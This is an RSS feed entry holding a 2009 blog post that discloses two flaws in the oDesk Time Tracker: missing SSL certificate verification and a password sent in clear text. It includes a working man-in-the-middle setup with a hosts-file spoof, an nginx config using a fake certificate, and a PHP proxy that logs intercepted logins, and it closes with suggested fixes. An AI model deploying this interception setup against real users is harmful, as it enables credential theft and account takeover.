<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; MITM</title>
	<atom:link href="http://blog.sjinks.pro/tag/mitm/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Mon, 06 Feb 2012 17:56:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>oDesk Time Tracker Vulnerabilities</title>
		<link>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/</link>
		<comments>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:42:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[oDesk]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=581</guid>
		<description><![CDATA[When SSL is not enough oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>When <a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">SSL</a> is not enough</em></h2>
<ol>
<li><a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  oDesk">oDesk</a> Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attacks</a> (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is <a href="http://www.securesphere.net/download/papers/dnsspoof.htm">doable</a>).<span id="more-581"></span>
<p>To imitate the DNS spoofing we will need to edit <code>/etc/hosts</code> file:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5815">
        <div class="code text" id="p581code5">
127.0.0.1 team.odesk.com
        </div>
    </div>
</div>

<p>And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used <a href="http://blog.sjinks.pro/tag/nginx/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  nginx">nginx</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5816">
        <div class="code nginx" id="p581code6">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">keepalive_timeout</span> <span class="nu0">70</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> &nbsp;default;<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/secure-team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/secure-team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate</span> /etc/nginx/certs/fake-cert.crt;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate_key</span> /etc/nginx/certs/fake-cert.key;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_timeout</span> 5m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl_protocols</span> SSLv3 TLSv1;<br />
&nbsp; &nbsp; <span class="kw1">ssl_ciphers</span> HIGH:MEDIUM;<br />
&nbsp; &nbsp; <span class="kw1">ssl_prefer_server_ciphers</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_cache</span> shared:SSL:10m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Nice <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">PHP</a> proxy that logs all communication between the client and server:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5817">
        <div class="code php" id="p581code7">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> <span class="sy0">=</span> <span class="kw3">curl_init</span><span class="br0">&#40;</span><span class="st_h">'https://209.128.65.132'</span> <span class="sy0">.</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$_FILES</span> <span class="kw1">as</span> <span class="re0">$key</span> <span class="sy0">=&gt;</span> <span class="re0">$item</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st_h">'@'</span> <span class="sy0">.</span> <span class="re0">$item</span><span class="br0">&#91;</span><span class="st_h">'tmp_name'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> <span class="sy0">=</span> <span class="kw3">fopen</span><span class="br0">&#40;</span><span class="kw3">dirname</span><span class="br0">&#40;</span><span class="kw4">__FILE__</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'/log.txt'</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&lt;&lt;&lt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="sy0">,</span> 1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&gt;&gt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POST<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POSTFIELDS<span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HTTPHEADER<span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'Host: team.odesk.com'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_RETURNTRANSFER<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HEADER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYPEER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYHOST<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">curl_exec</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_close</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;---<span class="es1">\n</span><span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="re0">$s</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;status=S_OK<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Fraude perit virtus&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5818">
        <div class="code text" id="p581code8">
SERVER: https://209.128.65.132/client/receiver<br />
IN:<br />
Array<br />
(<br />
&nbsp; &nbsp; [version] =&gt; Linux/1.3.4<br />
&nbsp; &nbsp; [status] =&gt; C_NORMAL<br />
&nbsp; &nbsp; [company] =&gt; ics2:ics2<br />
&nbsp; &nbsp; [user] =&gt; vkolesnikov<br />
&nbsp; &nbsp; [password] =&gt; password_goes_here<br />
&nbsp; &nbsp; [uid] =&gt; 5f323dce-ee5c-4347-9074-ed5d356362d4<br />
&nbsp; &nbsp; [computer] =&gt; SJINKS<br />
&nbsp; &nbsp; [os] =&gt; Linux Ubuntu 9.04 (2.6.28-13-server)<br />
&nbsp; &nbsp; [snapint] =&gt; 600<br />
&nbsp; &nbsp; [trigger] =&gt; login<br />
&nbsp; &nbsp; [keyev] =&gt; 1<br />
&nbsp; &nbsp; [mousev] =&gt; 1<br />
&nbsp; &nbsp; [events_per_minute] =&gt; 1245070126,1,1<br />
&nbsp; &nbsp; [activewintitle] =&gt; client : mc<br />
&nbsp; &nbsp; [screensaveron] =&gt; false<br />
&nbsp; &nbsp; [memo] =&gt;.<br />
&nbsp; &nbsp; [task_id] =&gt;.<br />
&nbsp; &nbsp; [task_description] =&gt;.<br />
&nbsp; &nbsp; [screenshot_width] =&gt; 1680<br />
&nbsp; &nbsp; [screenshot_height] =&gt; 1050<br />
&nbsp; &nbsp; [timestamp] =&gt; 1245070127<br />
&nbsp; &nbsp; [screen] =&gt; @/tmp/phpqzwmeh<br />
)<br />
<br />
OUT:<br />
status=S_OK<br />
servertime=1245070127<br />
hiresdesktop=enable<br />
webcam=user<br />
period=600<br />
use_https=yes<br />
company_name=ICS<br />
first_name=Vladimir<br />
last_name=Kolesnikov<br />
tz=Europe/Athens<br />
company=ics2:ics2<br />
login=vkolesnikov<br />
companies=Sphere314,extrememember,ics2:ics2<br />
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25<br />
task_integration_policy=1<br />
cache_size=120
        </div>
    </div>
</div>

And here comes the second vulnerability.</li>
<li>
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
</li>
</ol>
<p>The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker&#8217;s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider&#8217;s account.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

